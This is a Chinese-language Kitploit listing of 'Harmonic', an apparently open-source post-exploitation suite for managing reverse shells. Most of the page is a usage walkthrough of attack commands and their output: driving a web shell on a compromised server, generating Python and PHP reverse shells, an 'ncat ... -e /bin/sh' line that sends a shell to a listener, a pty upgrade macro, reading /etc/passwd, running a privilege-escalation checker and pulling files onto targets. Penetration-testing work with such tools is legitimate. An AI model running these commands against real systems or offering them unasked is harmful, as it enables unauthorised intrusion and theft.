Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Harmonic — 专为原生 Shell 中处理反向 Shell 而设计的套件 | Kitploit
工具/GitLabGitLab/runik/harmonic
权限提升脚本与自动化Web应用程序漏洞利用信息收集后渗透利用渗透测试命令与控制远程访问工具Shellcode 生成Payload 开发
GitLabrunik/harmonic

Harmonic

8年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

专为原生 Shell 中处理反向 Shell 而设计的套件

查看仓库

Harmonic Suite

一套用于管理和交互反弹Shell的Linux工具集的开端(代码目前仍处于快速而粗糙的状态,异常处理很少)。深受UNIX哲学启发,基本思路是拥有一个守护进程来处理任意的端点(connd,虽然它还不是一个真正的守护进程,但可以在单独的终端中运行),并针对这些端点运行工具。

端点由脚本或进程“驱动”,并以文件形式暴露在文件系统中,然后可以使用一个轻量级的软件客户端与之交互,但也可以使用Shell命令轻松地写入和读取。事实上,能够从Shell独立运行脚本是一个关键设计因素,理想情况下,一个脚本最多依赖于端点存在,但也可以组合使用(彼此串联)。

当前的端点选项包括:

  • nc - 在特定端口上生成netcat端点
  • wsh - 一个上下文Shell,用于与基本Web Shell脚本交互
  • with - 将任意进程作为端点运行

轻量级软件客户端(hthinc.py)提供了对系统端点的基本接口,以及快速对系统运行脚本的功能。已经编写了几个基本但有用的脚本:

  • sp - 对远程Linux系统进行枚举,确定脚本语言(目前仅支持Python),将启动一个新端点,并通过当前端点生成一个交互式Shell来连接到新端点。如果指定了驱动程序,将跳过枚举并尝试使用该驱动程序
  • lpc - 通过端点对系统运行Linux权限提升检查脚本
  • log - 将命令的输出记录到当前工作目录
  • mac - 对端点运行预定义的宏(如$HCROOT/.hcrc宏部分所定义)
  • pull - 一个用于wget的宏脚本,可从门户调度(linux)下载文件
  • fpull - 一个用于fetch的宏脚本,可从门户调度(*bsd)下载文件
  • wpinit - 枚举Windows脚本引擎(目前仅支持VB)并生成用于wpull的文件门户脚本
  • vbpull - 一个用于portal.vbs(参见:wpinit)的宏脚本,可从门户调度(windows)拉取文件
  • pspull - 一个使用PowerShell从门户调度(windows)拉取文件的宏脚本

反弹Shell驱动程序的类型(即远程系统上驱动Shell的程序)如下(目前支持linux):

  • php
  • perl
  • fifo
  • python27
  • python3x

其他脚本:

  • hgenrsh.py - 生成一个反弹Shell的Python命令(压缩并base64编码),可以从当前进程fork出来
  • hcmd.py - 从本地环境运行命令
  • hscr.py - 运行一个可挂钩的脚本
  • hdis.py - 监听连接,并从stdin向客户端发送任意数据
  • sys/bin/hpd.py - 用于使用HTTP协议拉取文件的门户调度服务器

示例用法

  • 在本示例中,$HCROOT指向此仓库的目录(参见底部的配置)
  • connd作为守护进程或普通进程运行。
    • 可以从$HCROOT/sys/bin/connd运行(需要先构建)

告诉connd启动一个端点,使用楔形Shell驱动程序配合提供的php脚本,该脚本进行系统调用并返回格式化的响应。然而,这一行脚本也可以很容易地注入到服务器日志中

root@kitploit:~
$ hconnd.py start wsh http://example.com/hwsh.php
1

这创建了端点1(两个I/O管道——你可以在运行子目录中看到它们,分别为t1i和t1o)。现在我们使用hthinc.py来与Shell交互。

root@kitploit:~
$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0

我们知道这是一个Linux机器。我们希望摆脱楔入的Web Shell,获得一个真正的Shell。运行内置命令!help可以显示thinc帮助信息。我们可以运行一个脚本sp,它会自动对远程系统运行命令,枚举环境,启动一个nc端点,生成一个反弹Shell,并通过新的hthinc.py自动切入:

root@kitploit:~
runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

或者如果知道我们在使用(例如)PHP作为驱动程序,可以指定它:

root@kitploit:~
runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

假设我们有一个没有TTY的Shell,或者想要突破,我们可以运行一个默认的宏:

root@kitploit:~
$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$

此外,如果我们想记录命令的输出,可以使用log脚本,它会将输出保存到当前工作目录:

root@kitploit:~
$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh

[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0

端点运行时,你可以附加/分离客户端,因为连接进程由守护进程管理

快速重复

因为所有内容都可以以更UNIX风格的方式运行,我们可以从Shell快速重复进程。我们启动一个Web Shell端点,获取端点ID,然后从Shell运行sp.py生成脚本针对该端点(这与hthinc.py中使用的脚本相同,但使用不同的入口点)。

root@kitploit:~
$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

或作为一行命令:

$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455

并且可以轻松自动化:

root@kitploit:~
$ cat reverse.sh 
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
root@kitploit:~
$ ./reverse.sh 
<harmonic> basic shell spawner
[+] Running enumeration...
...
$

从本地环境运行命令

工具hcmd.py允许你从Shell快速通过端点运行命令

root@kitploit:~
$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux

并照常进行管道或重定向结果

root@kitploit:~
$ hcmd.py 2 ifconfig | grep wlan
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500

跟踪端点

你可以使用hconn.py的list动词查看当前端点列表,以及相关连接状态

root@kitploit:~
$ hconn.py list
1 [26616]:	/home/runik/Tools/harmonic/hwsh.py http://10.15.10.4/hwsh.php	
2 [26622]:	nc -lp 4455 	Established -> 10.15.10.4
3 [26659]:	nc -nlvp 4495	Listening

将端点作为文件使用

设置一个楔形Shell端点:

root@kitploit:~
$ hconn.py start wsh http://example.com/hwsh.php
1

现在我们在端口4444上设置一个netcat监听器:

root@kitploit:~
$ hconn.py start nc 4444
2

然后通过输入文件向楔形Shell端点(eid 1)写入:

root@kitploit:~
$ echo "ncat 127.0.0.1 4444 -e /bin/sh" > run/t1i

这应该会向netcat监听器发送一个Shell。将thin客户端附加到netcat端点(eid 2),我们应该有一个等待的Shell:

root@kitploit:~
$ hthinc.py 2
<harmonic> thinc
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

运行脚本

将Shell接口泛化为文件,意味着针对Web Shell端点使用的脚本也可以针对netcat反弹Shell端点使用。你可以使用绝对路径($HCROOT/share/script/*.py)调用脚本,或者使用辅助脚本hscr.py

我们可以针对netcat端点运行sp.py,生成另一个反弹Shell:

root@kitploit:~
$ hscr.py 2 sp 4495 127.0.0.1
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Starting endpoint... 3
[+] Generating python reverse shell command (127.0.0.1:4495)... OK
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$

使用绝对路径的等效命令为$ $HCROOT/share/script/sp.py 2 4495 127.0.0.1

或者我们可以针对Web Shell运行Linux权限提升检查器:

root@kitploit:~
$ $HCROOT/share/script/lpc.py 1
<harmonic> Linux Priv Check Wrapper
============================================================
LINUX PRIVILEGE ESCALATION CHECKER
============================================================
...
Finished

并且可以在hthinc.py实例中调用它们

!run lpc

环境变量

环境变量可用于定义全局值。变量有三个级别,每个级别优先级低于下一个:

  • 资源
  • 环境/Shell
  • 内联

资源文件变量在$HCROOT/.hcrc中定义。这些优先级最低,但可用于避免污染系统范围的环境变量

环境/Shell变量由Shell带入进程,并以前缀HCV_。它们将与资源变量合并,并覆盖已存在的值。

内联变量将覆盖之前定义的任何内容

示例

在这些示例中,.hcrc中定义了LHOST=127.0.0.1作为资源变量,脚本用法为./script LPORT [LHOST]

以下脚本将使用LHOST=127.0.0.1和LPORT=4455(资源变量)

root@kitploit:~
$ ./script 4455

以下脚本将使用LHOST=192.168.1.101和LPORT=4455(Shell变量)

root@kitploit:~
$ HCV_LHOST=192.168.1.101 ./script 4455

以下脚本将使用LHOST=10.10.10.125(内联变量)

root@kitploit:~
$ HCV_LHOST=192.168.1.101 ./script 4455 10.10.10.125

相同的原则可以应用于hthinc.py的!run SCR,(注意:环境/Shell变量是传递给./hthinc.py的变量)

门户

门户服务器是一个基本的HTTP服务器,可以使用脚本将文件拉取到远程系统。这些脚本往往作为围绕命令的宏,跨平台创建更统一的交互。服务器相对$HCROOT/share/disp/处理文件。

示例用法

hpd.py在端口80上运行。DHOST和DPORT已经在.hcrc中定义为127.0.0.1和80(它们指向调度服务器)。这意味着调用脚本时不需要输入这些变量,但如果需要不同,我们可以像FILE=变量一样将它们作为内联变量包含。

我们从hthinc.py调用脚本,但同样,我们可以通过在命令行上传递端点ID从常规Shell运行这些脚本。如果DHOST和DPORT已经定义,我们不需要在命令行中包含它们。

这里我们使用PowerShell,通过pspull拉取文件:

root@kitploit:~
c:\Users\user\Desktop>!run pspull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful

这里我们没有PowerShell,所以需要初始化门户脚本,然后拉取文件:

root@kitploit:~
c:\Users\user\Desktop>!run wpinit
<harmonic> Win Portal Initialiser
[+] Running enumeration...
[+]   Checking VB engine... OK
[+] Using engine: VB
[+] Loading non-interactive script generator for 127.0.0.1... OK
[+] Running generator... OK
[+] Portal should be ready
c:\Users\user\Desktop>!run vbpull FILE=txt/test.txt
[+] Portal --> () --> test.txt
[+] Pull successful

pull脚本用于Linux:

root@kitploit:~
$ !run pull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful

为了澄清内联变量:

root@kitploit:~
$ !run pull FILE=txt/test.txt DHOST=192.168.1.1
[+] 192.168.1.1 --> () --> test.txt
[+] Pull successful

宏

宏在$HCROOT/.hcrc宏部分定义,并由mac脚本调用。在这种基本形式中,它们类似于Shell中的别名,实际上是简单的一向脚本,通过端点向远程Shell发送命令。将经常使用但冗长的命令序列绑定到宏更容易。

从hthinc.py调用mac脚本包括使用一个未命名变量,即没有标签的变量。这允许宏像脚本的命令行参数一样被调用。

同样,可以使用相同的mac.py脚本从常规Shell调用宏。

示例

此示例在脆弱的Shell中调用pty宏。宏是python -c 'import pty; pty.spawn("/bin/bash")'的别名:

root@kitploit:~
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
tty
no tty
!run mac pty
[email protected]:/var/www/html/$ 

从命令行(例如端点5)运行的等效命令是hscr.py 5 mac pty。下次你将客户端附加到端点时,它应该带有tty运行。

输入!run mac --list将显示宏列表。

配置

  • 工具集需要一个环境变量HCROOT,指向harmonic的根目录。
  • 将$HCROOT添加到你的$PATH中,你可以从任何目录使用主脚本。

构建connd:

  • 将$HCROOT/sys添加到你的$GOPATH中
  • 从$HCROOT/sys/bin:go build connd

依赖项

  • Python 3.5
  • Go(我的系统是1.7.5)
  • Linux
下载工具